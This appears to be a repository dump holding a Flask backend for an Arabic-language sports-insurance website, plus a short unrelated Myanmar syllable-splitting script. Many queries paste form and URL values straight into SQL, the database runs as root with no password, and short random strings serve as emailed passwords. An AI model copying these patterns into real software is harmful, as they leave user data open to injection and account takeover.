login_session['state'][:7], 4, 1, request.form['notes']) cursor.execute(query) id = cursor.lastrowid query = "INSERT INTO company(CompanyID,CompanyName,CompanyPhone,CompanyFax,Address) Values('%s','%s','%s','%s','%s')"\ %(id,request.form['name'],request.form['phone'],request.form['fax'],request.form['address']) cursor.execute(query) msg = Message('',recipients=[]) text = ("عزيزى ").decode("utf-8") text = text + request.form['name'] text = text + (" \nبرجاء استخدام بريدك الالكترونى وكلمه السر الاتيه لتسجيل الدخول \n").decode("utf-8") text = text + login_session['state'][:7] msg.body = text msg.subject = ("مصر للتامين الرياضى").decode("utf-8") msg.add_recipient(request.form['email']) # check internet connection r =requests.get("https://www.google.com/") if r.status_code != 200: db.rollback() db.close() return jsonify('error') mail.send(msg) db.commit() db.close() return jsonify('done') else: db.close() return jsonify('duplicate') except Exception as e: if db.open: db.rollback() db.close() return jsonify(str(e)) @app.route('/player', methods=['POST','GET']) def PlayerAccess(): if request.method == 'POST' and request.args.get('state') != login_session['state']: return redirect(url_for('userlogin')) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('player.html', STATE=state) else: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: query = "SELECT * FROM accounts_users WHERE UserName='%s'" % request.form['email'] cursor.execute(query) if cursor.rowcount == 0: #user type (1,2,3,4) for (ethad,club,player,company) query = "INSERT INTO accounts_users(UserName,UserPass,UserType,UserActive,Notes) Values('%s','%s','%s','%s','%s')"\ %(request.form['email'], login_session['state'][:7], 3, 1, request.form['notes']) cursor.execute(query) id = cursor.lastrowid query = "INSERT INTO player(PlayerID, PlayerName, PlayerJob, PlayerAddress, PlayerPhone, "\ "PlayerNationalID, PlayerBirthDate, PlayerGender, PlayerScoialStatus, PlayerNationalty, "\ "PlayerQualification, PlayerSportActivity) Values('%s', '%s', '%s', '%s', '%s', '%s', "\ "STR_TO_DATE('%s','%%m-%%d-%%Y'), '%s', '%s', '%s', '%s', '%s')"%(id, request.form['name'],\ request.form['job'], request.form['address'], request.form['phone'],\ request.form['nationalid'], request.form['birthdate'], request.form['gender'],\ request.form['socialstatus'], request.form['nationality'], request.form['qualification'],\ request.form['sportactivity']) cursor.execute(query) msg = Message('',recipients=[]) text = ("عزيزى ").decode("utf-8") text = text + request.form['name'] text = text + (" \nبرجاء استخدام بريدك الالكترونى وكلمه السر الاتيه لتسجيل الدخول \n").decode("utf-8") text = text + login_session['state'][:7] msg.body = text msg.subject = ("مصر للتامين الرياضى").decode("utf-8") msg.add_recipient(request.form['email']) # check internet connection r =requests.get("https://www.google.com/") if r.status_code != 200: db.rollback() db.close() return jsonify('error') else: if 'photo' in request.files: file = request.files['photo'] if allowed_file(file.filename): file.save(app.config['UPLOAD_FOLDER']+ str(id)) mail.send(msg) db.commit() db.close() return jsonify('done') else: db.rollback() db.close() return jsonify('error') else: return jsonify("noy") else: db.close() return jsonify('duplicate') except Exception as e: if db.open: db.rollback() db.close() return jsonify(str(e)) @app.route('/companyoffers', methods=['POST','GET']) def CompanyOffersAccess(): if 'username' not in login_session or (request.method == 'POST' and request.args.get('state') != login_session['state']): #return jsonify(request.args.get('state') , login_session['state']) return redirect(url_for('userlogin')) if login_session['type'] != "4": return redirect(url_for('logout', state=login_session['state'])) if request.method == 'GET': if 'offerid' not in request.args: state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('company-add-offer.html', STATE=state, OfferID=-1) else: state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() query = "SELECT * FROM offers WHERE OfferID = " + str(request.args.get('offerid')) cursor.execute(query) result = cursor.fetchone() offerid = result[0] injury = result[2] regulations = result[3] description = result[4] companyid = result[1] if companyid != login_session['id']: # ensure that's offerid belongs to this company return redirect(url_for('ShowAllOffers')) query = "SELECT @n := @n + 1, (select distinct 1 from clients_applied_for where clients_applied_for.RiskID = risks.RiskID) as Used, "\ "RiskID, RiskName, Active "\ "FROM risks, (SELECT @n := -1) Customindex "\ "WHERE OfferID = " + str(offerid) cursor.execute(query) risks = cursor.fetchall() query = "SELECT @n := @n + 1, techniques.TechniqueID, techniques.TechniqueName, "\ "techniques.TechniqueDescription, techniques.Active, GROUP_CONCAT(risks_techniques.RiskID separator ',') as Risks, "\ "(select distinct 1 from clients_applied_for where clients_applied_for.TechniqueID= techniques.TechniqueID) as Used ,1 "\ "FROM risks, risks_techniques, techniques ,(SELECT @n := -1) Customindex "\ "WHERE risks.RiskID = risks_techniques.RiskID and techniques.TechniqueID = risks_techniques.TechniqueID "\ "and risks.OfferID = %s "\ "group by techniques.TechniqueID" cursor.execute(query,(str(offerid),)) techniques = cursor.fetchall() # for loop for replace risks covered by tech ids with custom ids we created previously and used in client side # convert this tuple to list to be able to change it's items techniques = list(techniques) for techindex,tech in enumerate(techniques): temp = list(tech) temp[5] = temp[5].split(',') temp[7] = [] # used to show risks names assigned to specific tech for i,x in enumerate(temp[5]): for r in risks: if str(x) == str(r[2]): temp[5][i] = r[0] # custom risk id temp[7].append(r[3]) #temp[7] = ", " + temp[7] + r[3] break temp[5] = [str(x) for x in temp[5] ] # this to run correct with jinjia2 without this list passed with L symbol temp[7] = ",".join(temp[7]) techniques[techindex] = temp query = "SELECT @n := @n + 1, services.ServiceID, services.TechniqueID, services.ServiceName, "\ "services.ServiceDescription, services.Active, "\ "(select distinct 1 from clients_applied_for where clients_applied_for.ServiceID = services.ServiceID) as Used "\ "FROM services,(select @n:=-1) custom "\ "WHERE services.TechniqueID in "\ "(SELECT techniques.TechniqueID FROM risks, risks_techniques, techniques "\ "WHERE risks.RiskID = risks_techniques.RiskID and techniques.TechniqueID = risks_techniques.TechniqueID "\ "and risks.OfferID = %s group by techniques.TechniqueID)" cursor.execute(query,(str(offerid),)) services = cursor.fetchall() services = list(services) for index,service in enumerate(services): temp = list(service) for tech in techniques: if temp[2] == tech[1]: temp[2] = tech[0] break services[index] = temp #return jsonify(t, temp) query = "SELECT @n := @n + 1, payments_offers.ID, payments_offers.Period, payments_offers.FirstPayment, "\ "payments_offers.MonthlyPayment, payments_offers.AddedPercentage, payments_offers.MaxPersonNumbers, "\ "payments_offers.Active, ((Period * 12 * MonthlyPayment) + FirstPayment) * (1 + AddedPercentage / 100), "\ "(select distinct 1 from clients_applied_for where clients_applied_for.PaymentID = payments_offers.ID) as Used "\ "FROM payments_offers, (select @n:=-1) custom "\ "WHERE payments_offers.OfferID = " + str(offerid) cursor.execute(query) payments = cursor.fetchall() db.close() # temprisks = [r[0] for r in risks]#cursor.fetchall() list comprehensions # # for loop for get risk indeces to used in client side that deal upon custom index # for i, r_t in enumerate(risks_techniques): # r_index = temprisks.index(r_t[1]) # list(risks_techniques[i]).append[r_index] return render_template('company-add-offer.html', STATE=state, OfferID=offerid, Injury=injury, Regulations=regulations, Description=description, Risks=risks, Techniques=techniques, Services=services, Payments=payments ) else: typee = request.json['type'] description = request.json['description'] regulations = request.json['regulations'] risks = request.json['risks'] injury = request.json['injury'] techniques = request.json['techniques'] services = request.json['services'] payments = request.json['payments'] if typee == "add": db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: query = "INSERT INTO offers(CompanyID, Injury, Regulations, Description, Active) Values(%s,"\ "%s, %s, %s, %s)" cursor.execute(query,(login_session['id'], injury, regulations, description, 1)) id = cursor.lastrowid temprisks = [] for r in risks: query = "INSERT INTO risks(RiskName, OfferID, Active) Values(%s, %s, %s)" cursor.execute(query,(r[3], id, r[4])) r_id = cursor.lastrowid temprisks.append([r_id, r[0]]) # add r_id that's risk id from databasee and id used in client temptech = [] for t in techniques: query = "INSERT INTO techniques(TechniqueName, TechniqueDescription, Active) Values(%s,"\ "%s, %s)" cursor.execute(query,(t[5], t[4], t[6])) t_id = cursor.lastrowid # add t_id that's technique id from databasee and id used in client and list of risks ids attach to this technique temptech.append([t_id, t[0], t[3]]) for t in temptech: for r_t in t[2]: for r in temprisks: if str(r[1]) == str(r_t): #return jsonify(r_t) #return jsonify(str(type(r[1]))+str(type(r_t))) query = "INSERT INTO risks_techniques(RiskID, TechniqueID) Values(%s, %s)" cursor.execute(query,(r[0], t[0])) break for s in services: for t in temptech: if str(s[4]) == str(t[1]): query = "INSERT INTO services(TechniqueID, ServiceName, ServiceDescription, Active) Values("\ "%s, %s, %s, %s)" cursor.execute(query,(t[0], s[5], s[3], s[6])) break for p in payments: query = "INSERT INTO payments_offers(OfferID, Period, FirstPayment, MonthlyPayment, AddedPercentage, "\ "MaxPersonNumbers, Active) Values(%s, %s, %s, %s, %s, %s, %s)" cursor.execute(query,(id, p[3], p[5], p[7], p[6], p[4], p[8])) db.commit() db.close() return jsonify('done') except Exception as e: db.rollback() db.close() return jsonify(str(e)) elif typee == "update": db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: offerid = request.json['offerid'] query = "UPDATE offers SET Injury = %s, Regulations = %s, Description = %s WHERE OfferID = %s" cursor.execute(query,(injury, regulations, description, offerid)) updatetemp = [] inserttemp = [] for p in payments: if p[1] == -1: inserttemp.append((offerid, p[3], p[5], p[7], p[6], p[4], p[8])) else: updatetemp.append((p[3], p[5], p[7], p[6], p[4], p[8], p[1])) deletetemp = [ t[6] for t in updatetemp] query = "DELETE FROM payments_offers WHERE OfferID = %s and ID NOT IN %s" cursor.execute(query,(offerid, deletetemp)) query = "INSERT INTO payments_offers(OfferID, Period, FirstPayment, MonthlyPayment, AddedPercentage, "\ "MaxPersonNumbers, Active) Values(%s, %s, %s, %s, %s, %s, %s)" cursor.executemany(query,inserttemp) query = "UPDATE payments_offers SET Period = %s, FirstPayment = %s, MonthlyPayment = %s, AddedPercentage = %s, "\ "MaxPersonNumbers = %s, Active = %s WHERE ID = %s" cursor.executemany(query,updatetemp) temprisks = [] for r in risks: if r[1] == -1: query = "INSERT INTO risks(RiskName, OfferID, Active) Values(%s, %s, %s)" cursor.execute(query,(r[3], offerid, r[4])) r_id = cursor.lastrowid temprisks.append([r[0], r_id, r[2], r[3], r[4]]) else: query = "UPDATE risks SET RiskName = %s, Active = %s WHERE RiskID = %s" cursor.execute(query,(r[3], r[4], r[1])) temprisks.append([r[0], r[1], r[2], r[3], r[4]]) temptech = [] for t in techniques: if t[1] == -1: query = "INSERT INTO techniques(TechniqueName, TechniqueDescription, Active) Values(%s,"\ "%s, %s)" cursor.execute(query,(t[5], t[4], t[6])) t_id = cursor.lastrowid temptech.append([t[0], t_id, t[2], t[3], t[4], t[5], t[6]]) for r_t in t[3]: for r in temprisks: if r_t == r[0]: query = "INSERT INTO risks_techniques(RiskID, TechniqueID) Values(%s, %s)" cursor.execute(query,(r[1], t_id )) break else: query = "UPDATE techniques SET TechniqueName = %s, TechniqueDescription = %s, Active = %s "\ "WHERE TechniqueID = %s" cursor.execute(query,(t[5], t[4], t[6], t[1])) temprisks_tech = [] for r_t in t[3]: for r in temprisks: if r_t == r[0]: temprisks_tech.append([r[1], t[1]]) break query = "DELETE FROM risks_techniques WHERE TechniqueID = %s and RiskID NOT IN %s" cursor.execute(query,(t[1], [ aa[0] for aa in temprisks_tech])) # this code is true but get error because rid,tid sometimes become the same # query = "INSERT INTO risks_techniques(RiskID, TechniqueID) "\ # "SELECT * FROM (SELECT %s, %s) AS TEMP "\ # "WHERE NOT EXISTS (SELECT * FROM risks_techniques WHERE RiskID = %s and TechniqueID = %s)" # for index,value in enumerate(temprisks_tech): # temprisks_tech[index].extend(temprisks_tech[index]) # cursor.executemany(query,(temprisks_tech)) for value in temprisks_tech: query = "SELECT * FROM risks_techniques WHERE RiskID = %s and TechniqueID = %s" cursor.execute(query,(value[0], value[1])) if cursor.rowcount == 0: query = "INSERT INTO risks_techniques(RiskID, TechniqueID) Values (%s, %s)" cursor.execute(query,(value[0], value[1])) temptech.append([t[0], t[1], t[2], t[3], t[4], t[5], t[6]]) tempservice = [] for s in services: if s[1] == -1: query = "INSERT INTO services(TechniqueID, ServiceName, ServiceDescription, Active) Values("\ "%s, %s, %s, %s)" for t in temptech: if t[0] == s[4]: cursor.execute(query,(t[1], s[5], s[3], s[6])) s_id = cursor.lastrowid tempservice.append([s[0], s_id, s[2], s[3], s[4], s[5], s[6]]) break else: query = "UPDATE services SET TechniqueID = %s, ServiceName = %s, ServiceDescription = %s, Active = %s "\ "WHERE ServiceID = %s" for t in temptech: if t[0] == s[4]: cursor.execute(query,(t[1], s[5], s[3], s[6], s[1])) tempservice.append([s[0], s[1], s[2], s[3], s[4], s[5], s[6]]) break #delete the record that exist in database and not exist in data come from client after update query = "DELETE FROM services WHERE ServiceID IN (SELECT serv.ServiceID FROM (SELECT * FROM services) AS serv "\ "WHERE serv.TechniqueID in (SELECT techniques.TechniqueID FROM risks, risks_techniques, techniques WHERE "\ "risks.RiskID = risks_techniques.RiskID and techniques.TechniqueID = risks_techniques.TechniqueID and "\ "risks.OfferID = %s group by techniques.TechniqueID)) and ServiceID NOT IN %s" cursor.execute(query,( offerid, [ x[1] for x in tempservice] )) query = "DELETE FROM techniques WHERE TechniqueID IN (SELECT Tech.TechniqueID "\ "FROM risks, risks_techniques, (SELECT * FROM techniques) AS Tech "\ "WHERE risks.RiskID = risks_techniques.RiskID "\ "AND Tech.TechniqueID = risks_techniques.TechniqueID "\ "AND risks.OfferID = %s GROUP BY Tech.TechniqueID) "\ "and TechniqueID NOT IN %s" cursor.execute(query,( offerid, [ x[1] for x in temptech ] )) query = "DELETE FROM risks WHERE OfferID = %s and RiskID NOT IN %s" cursor.execute(query,( offerid, [ x[1] for x in temprisks ], )) db.commit() db.close() return jsonify('done') except Exception as e: db.rollback() db.close() return jsonify(str(e)) @app.route('/alloffers', methods=['POST','GET']) def ShowAllOffers(): if 'username' not in login_session or (request.method == 'POST' and request.args.get('state') != login_session['state']): return redirect(url_for('userlogin')) if login_session['type'] != "4": return redirect(url_for('logout', state=login_session['state'])) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: query = "SELECT * FROM offers where CompanyID = " + str(login_session['id']) cursor.execute(query) alloffers = cursor.fetchall() # env = Environment(loader=PackageLoader('static', 'templates')) # template = env.get_template('company-offers.html') # output=template.render(STATE=state) # return HttpResponse(output) return render_template('company-offers.html', STATE=state, Offers=alloffers) except Exception as e: return jsonify(str(e)) else: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: query = "UPDATE offers SET Active = '%s' WHERE OfferID = '%s'" cursor.execute(query,(request.json.get('status'), request.json.get('id'))) db.commit() return jsonify('done') except Exception as e: return jsonify(str(e)) @app.route('/clientspplyoffer', methods=['GET', 'POST']) def ClientApplyOffer(): if 'username' not in login_session or (request.method == 'POST' and request.args.get('state') != login_session['state']): return redirect(url_for('userlogin')) if login_session['type'] == "4": return redirect(url_for('logout', state=login_session['state'])) if request.method == 'GET': state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() query = "SELECT * FROM offers Where Active = 1" cursor.execute(query) offers = cursor.fetchall() # try: # arbic = arabic_reshaper.reshape(u"السلام عليكم ورحمه الله وبركاته dsf") # arbic = get_display(arbic) # c = canvas.Canvas(app.config['UPLOAD_FOLDER'] + "hello.pdf") # textobject = c.beginText() # textobject.setTextOrigin(inch, 2.5*inch) # pdfmetrics.registerFont(TTFont('Arabic-bold', app.config['UPLOAD_FOLDER'] + 'PalatinoSansArabic-Bold.ttf')) # textobject.setFont("Arabic-bold", 14) # #pdfmetrics.registerFont(TTFont('Arabic-bold', '/path-to-your-arabic-font')) # textobject.textLines(arbic) # c.drawText(textobject) # c.save() # return send_file(app.config['UPLOAD_FOLDER'] + "hello.pdf") # except Exception as e: # return jsonify(str(e)) # else: # pass # finally: # pass #user type (1,2,3,4) for (ethad,club,player,company) if login_session['type'] == "3": query = "SELECT * FROM player WHERE PlayerID = " + str(login_session['id']) cursor.execute(query) persondata = cursor.fetchone() db.close() return render_template('client-search-offers.html', STATE=state, Offers=offers, Type=login_session['type'], person=persondata) elif login_session['type'] == "2": query = "SELECT * FROM club WHERE ClubID = " + str(login_session['id']) cursor.execute(query) clubdata = cursor.fetchone() db.close() return render_template('client-search-offers.html', STATE=state, Offers=offers, Type=login_session['type'], club=clubdata) else: if 'getoffercontent' in request.json: #return jsonify('ssssssssssssfvffd') offerid = request.json['offerid'] db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() try: query = "SELECT * FROM offers WHERE OfferID = " + str(offerid) cursor.execute(query) offercontent = cursor.fetchone() query = "SELECT * FROM risks WHERE Active = 1 and OfferID = " + str(offerid) cursor.execute(query) risks = cursor.fetchall() query = "SELECT * FROM risks_techniques WHERE RiskID IN ("\ "SELECT RiskID FROM risks WHERE Active = 1 and OfferID = %s)" cursor.execute(query,(offerid,)) risks_techniques = cursor.fetchall() temprisks_tech = [ x[2] for x in risks_techniques] query = "SELECT * FROM techniques WHERE Active = 1 and TechniqueID IN %s" cursor.execute(query,(temprisks_tech,)) techniques = cursor.fetchall() query = "SELECT * FROM services WHERE Active = 1 and TechniqueID IN %s" cursor.execute(query,(temprisks_tech,)) services = cursor.fetchall() query = "SELECT *,ROUND(((Period * 12 * MonthlyPayment) + FirstPayment) * (1 + AddedPercentage / 100), 2) FROM payments_offers "\ "WHERE Active = 1 and OfferID = " + str(offerid) cursor.execute(query) payments = cursor.fetchall() db.close() return jsonify({'offercontent' : offercontent, 'risks' : risks, 'risks_techniques' : risks_techniques, 'techniques' : techniques, 'services' : services, 'payments':payments}) except Exception as e: db.close() return jsonify(str(e)) elif 'applyforoffer' in request.json: try: #return send_file(app.config['UPLOAD_FOLDER'] + 'hello.pdf') db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() #player account if login_session['type'] == "3": #return jsonify('ssssssss') offerid = request.json['offerid'] techid = request.json['techid'] riskid = request.json['riskid'] serviceid = request.json['serviceid'] paymentid = request.json['periodid'] q1 = request.json['q1'] q2 = request.json['q2'] q2text = request.json['q2text'] q3 = request.json['q3'] q3text = request.json['q3text'] q4text = request.json['q4text'] q5 = request.json['q5'] q6 = request.json['q6'] q6text = request.json['q6text'] q7 = request.json['q7'] q7text = request.json['q7text'] visatype = request.json['visatype'] visano = request.json['visano'] query = "INSERT INTO clients_applied_for (ClientID, RiskID, TechniqueID, ServiceID, PaymentID) "\ "SELECT * FROM (SELECT %s, %s, %s, %s, %s) AS TEMP "\ "WHERE NOT EXISTS (SELECT * FROM clients_applied_for WHERE ClientID = %s and RiskID = %s and "\ "TechniqueID = %s and ServiceID = %s and PaymentID = %s)" cursor.execute(query,(login_session['id'], riskid, techid, serviceid, paymentid, login_session['id'], riskid, techid, serviceid, paymentid)) applyforid = cursor.lastrowid db.commit() if cursor.rowcount == 0: db.close() return jsonify('duplicate') else: try: config = pdfkit.configuration(wkhtmltopdf='C:\\Program Files\\wkhtmltopdf\\bin\\wkhtmltopdf.exe') dirname = os.path.dirname(__file__) filename = os.path.join(dirname, 'static/site/offers/players/') pdfkit.from_string(request.json['pdf'], filename + 'c' + str(login_session['id']) +'apllyfor'+ str(applyforid) + '.pdf', configuration = config) # doc = SimpleDocTemplate(app.config['UPLOAD_FOLDER'] + "hello.pdf", pagesize=A4, # rightMargin=50,leftMargin=50,topMargin=50,bottomMargin=18) # pdfmetrics.registerFont(TTFont('Arabic', app.config['UPLOAD_FOLDER'] + 'Bahij-Palatino-Sans-Arabic-Regular.ttf')) # pdfmetrics.registerFont(TTFont('Arabic-bold', app.config['UPLOAD_FOLDER'] + 'Bahij_TheSansArabic-Bold.ttf')) # #styles = getSampleStyleSheet() # story = [] # para_style = ParagraphStyle(name='Jusstify', justifyBreaks=1, fontName='Arabic-bold', alignment=1, backColor='#000000') # #change language of sublim get error but if changed from preferences + settings # #and add font-face:"arial" all get well and brackets acts well # para = arabic_reshaper.reshape(u"<font size=22 color='white'>بوليصه (عقد) التامين ضد المخاطر الرياضيه عقد فردى <br/><br/><br/></font>") # para = get_display(para) # #en = "<font size=22 color='white'>.(ﻯﺩﺮﻓ ﺪﻘﻋ) ﻪﻴﺿﺎﻳﺮﻟﺍ ﺮﻃﺎﺨﻤﻟﺍ ﺪﺿ ﻦﻴﻣﺎﺘﻟﺍ (ﺪﻘﻋ) ﻪﺼﻴﻟﻮﺑ<br/><br/><br/></font>" # story.append(Paragraph(para, style = para_style)) # story.append(Spacer(1, 12)) # para_style = ParagraphStyle(name='Jusstify', fontName='Arabic-bold', alignment=2) # para = arabic_reshaper.reshape(u"<font size=14 color='black'><strong> بيانات شخصيه </strong><br/></font>") # para = get_display(para) # story.append(Paragraph(para, style = para_style)) # story.append(Spacer(1, 12)) # para_style = ParagraphStyle(name='Jusstify', fontName='Arabic-bold', alignment=2) # query = "SELECT * FROM player WHERE PlayerID = " + str(login_session['id']) # cursor.execute(query) # result = cursor.fetchone() # #para_style = ParagraphStyle(name='Jusstify', fontName='Arabic-bold', alignment=2) # pdfmetrics.registerFont(TTFont('Vera', app.config['UPLOAD_FOLDER'] + 'Bahij-Palatino-Sans-Arabic-Regular.ttf')) # pdfmetrics.registerFont(TTFont('Vera-Bold', app.config['UPLOAD_FOLDER'] + 'Bahij_TheSansArabic-Bold.ttf')) # addMapping('Vera', 0, 0, 'Vera') #normal # #addMapping('Vera', 0, 1, 'Vera-Italic') #italic # addMapping('Vera', 1, 0, 'Vera-Bold') #bold # #addMapping('Vera', 1, 1, 'Vera-BoldItalic') #italic and bold # #para_style = create_paragraph_style("ms", "SansArabic", normal="Arabic-Regular", bold="Arabic-Bold") # #para_style.alignment = 2 # table = [] # para_style = ParagraphStyle(name='Jusstify', fontName='Vera', alignment=2) # para = arabic_reshaper.reshape(u"<font>%s &nbsp;&nbsp; :<b>الاسم</b></font><br/> " % result[1] ) # para = get_display(para) # #para = "<font> <b>:ﻢﺳﻻﺍ</b> : %s <br/></font><br/>" % "ﻯﺮﺼﻤﻟﺍ ﺩﺎﺤﺗﻻﺍ" # #para = get_display(para) # story.append(Paragraph(para, style = para_style)) # #story.append(Spacer(4, 0)) # #table.append([Paragraph(para, style = para_style)]) # para = arabic_reshaper.reshape(u"%s &nbsp;&nbsp;:<b>بطاقه الرقم القومى</b>" % result[5]) # para = get_display(para) # para_style = ParagraphStyle(name='Jusstify', fontName='Vera', alignment=2) # story.append(Paragraph(para, style = para_style)) # para = arabic_reshaper.reshape(u"%s &nbsp;&nbsp;:<b>الوظيفه</b>" % result[2]) # para = get_display(para) # para_style = ParagraphStyle(name='Jusstify', fontName='Vera', alignment=2) # story.append(Paragraph(para, style = para_style)) # # para = arabic_reshaper.reshape(u"%s &nbsp;&nbsp;:<b>العنوان</b>" % result[3]) # # para = get_display(para) # # para_style = ParagraphStyle(name='Jusstify', fontName='Vera', alignment=2) # # story.append(Paragraph(para, style = para_style)) # # para = arabic_reshaper.reshape(u"%s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%s &nbsp;&nbsp;:<b>رقم التليفون</b>" % (result[4],result[4])) # # para = get_display(para) # # para_style = ParagraphStyle(name='Jusstify', fontName='Vera', alignment=2) # # story.append(Paragraph(para, style = para_style)) # doc.build(story) # return jsonify('ddddddd') except Exception as e: return jsonify(str(e)) # try: # arbic = arabic_reshaper.reshape(u"السلام عليكم ورحمه الله وبركاته dsf") # arbic = get_display(arbic) # c = canvas.Canvas(app.config['UPLOAD_FOLDER'] + "hello.pdf") # textobject = c.beginText() # textobject.setTextOrigin(inch, 2.5*inch) # pdfmetrics.registerFont(TTFont('Arabic-bold', app.config['UPLOAD_FOLDER'] + 'PalatinoSansArabic-Bold.ttf')) # textobject.setFont("Arabic-bold", 14) # #pdfmetrics.registerFont(TTFont('Arabic-bold', '/path-to-your-arabic-font')) # textobject.textLines(arbic) # c.drawText(textobject) # c.save() # return send_file(app.config['UPLOAD_FOLDER'] + "hello.pdf") # except Exception as e: # return jsonify(str(e)) # else: # pass # finally: # pass return jsonify('done') #club elif login_session['type'] == "2": offerid = request.json['offerid'] techid = request.json['techid'] riskid = request.json['riskid'] serviceid = request.json['serviceid'] paymentid = request.json['periodid'] q1 = request.json['q1'] q2 = request.json['q2'] q2text = request.json['q2text'] q3 = request.json['q3'] q3text = request.json['q3text'] q4text = request.json['q4text'] q5 = request.json['q5'] q6 = request.json['q6'] q6text = request.json['q6text'] q7 = request.json['q7'] q7text = request.json['q7text'] visatype = request.json['visatype'] visano = request.json['visano'] query = "INSERT INTO clients_applied_for (ClientID, RiskID, TechniqueID, ServiceID, PaymentID) "\ "SELECT * FROM (SELECT %s, %s, %s, %s, %s) AS TEMP "\ "WHERE NOT EXISTS (SELECT * FROM clients_applied_for WHERE ClientID = %s and RiskID = %s and "\ "TechniqueID = %s and ServiceID = %s and PaymentID = %s)" cursor.execute(query,(login_session['id'], riskid, techid, serviceid, paymentid, login_session['id'], riskid, techid, serviceid, paymentid)) applyforid = cursor.lastrowid db.commit() if cursor.rowcount == 0: db.close() return jsonify('duplicate') else: try: config = pdfkit.configuration(wkhtmltopdf='C:\\Program Files\\wkhtmltopdf\\bin\\wkhtmltopdf.exe') dirname = os.path.dirname(__file__) filename = os.path.join(dirname, 'static/site/offers/clubs/') #pdfkit.from_string(request.json['pdf'],'22.pdf',configuration = config) pdfkit.from_string(request.json['pdf'], filename + 'c' + str(login_session['id']) +'apllyfor'+ str(applyforid) + '.pdf', configuration = config) except Exception as e: return jsonify(str(e)) return jsonify('done') except Exception as e: db.close() return jsonify(str(e)) @app.route('/clientoffers', methods=['GET', 'POST']) def ClientOffers(): if 'username' not in login_session or (request.method == 'POST' and request.args.get('state') != login_session['state']): return redirect(url_for('userlogin')) if login_session['type'] == "4": return redirect(url_for('logout', state=login_session['state'])) if request.method == 'GET' and 'pdf' not in request.args: db = MySQLdb.connect("localhost","root","","Insurance",use_unicode=True, charset='utf8') cursor = db.cursor() query = "SELECT * FROM clients_applied_for WHERE ClientID = " + str(login_session['id']) cursor.execute(query) alloffers = cursor.fetchall() state = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for x in xrange(32)) login_session['state']=state return render_template('client-offers.html', Offers=alloffers, STATE=state) elif request.method == 'GET' and 'pdf' in request.args: #return jsonify(app.config['Offers_Folder'] + request.args['pdf'] + '.pdf') try: pdfname = request.args['pdf'] apllyfor = pdfname.index('apllyfor') c = pdfname.index('c') if pdfname[ (int(c) + 1) : int(apllyfor) ] != str(login_session['id']): return redirect(url_for('logout', state=login_session['state'])) except Exception as e: return jsonify('notfount') dirname = os.path.dirname(__file__) filename = "" if login_session['type'] == "3": filename = os.path.join(dirname, 'static/site/offers/players/') elif login_session['type'] == "2": filename = os.path.join(dirname, 'static/site/offers/clubs/') if os.path.isfile(filename + request.args['pdf'] + '.pdf'): return send_file(filename + request.args['pdf'] + '.pdf') else: return jsonify('notfound') def create_paragraph_style(name, font_name, **kwargs): ttf_path = app.config['UPLOAD_FOLDER'] + "{}.ttf" family_args = {} # store arguments for the font family creation for font_type in ("normal", "bold", "italic", "boldItalic"): # recognized font variants if font_type in kwargs: # if this type was passed... font_variant = "{}-{}".format(font_name, font_type) # create font variant name pdfmetrics.registerFont(TTFont(font_variant, ttf_path.format(kwargs[font_type]))) family_args[font_type] = font_variant # add it to font family arguments pdfmetrics.registerFontFamily(font_name, **family_args) # register a font family return ParagraphStyle(name=name, fontName=font_name, fontSize=10, leading=12) # if __name__ == '__main__': # app.secret_key = os.urandom(32) # #app.config['UPLOAD_FOLDER'] = '/static/assets/uimg' # # reload(sys) # # sys.setdefaultencoding('utf-8') # app.debug = True # app.wsgi_app = DebuggedApplication(app.wsgi_app, evalex=True) # app.run()
2a621a3b439c2a9536eb9ce018e24aba4e29e1f6
[ "Python" ]
1
Python
AmrStar25/Insurance-Website
5c2e2abd0b633442f81717af68d8eb7b2320d5de
8f831ac43244bcc7b6546a6932ee9c4a73ebc470
refs/heads/master
<repo_name>PhyoThuHtetHarry/SyllableBreakMyanmar<file_sep>/syllbreak-zawgyi.py import sys import re with open(sys.argv[1],'r') as input_file: for i in input_file: line = re.sub(r'(ေ*ျ*ႀ*ၿ*ၾ*[က-အ|႐|ႏ|ဥ|ဦ]([က-အ]့*္[့း]*|[ါ-ူ]|[ဲ-း]|်|[ြ-ှ]|[ၐ-ၽ]|[ႁ-ႎ]|[႑-႟]){0,}|.)',r'\1\n',i) print(line) <file_sep>/README.md # SyllableBreakMyanmar to break syllable level
35f293baf78ebba9011547e4f540f33e57dd6ef5
[ "Markdown", "Python" ]
2
Python
PhyoThuHtetHarry/SyllableBreakMyanmar
367a847cd5ddd298a016d8ac635c59d103e43831
a88ca4da7a1aab540e1d35d7f772069e6ad13a4b
refs/heads/master
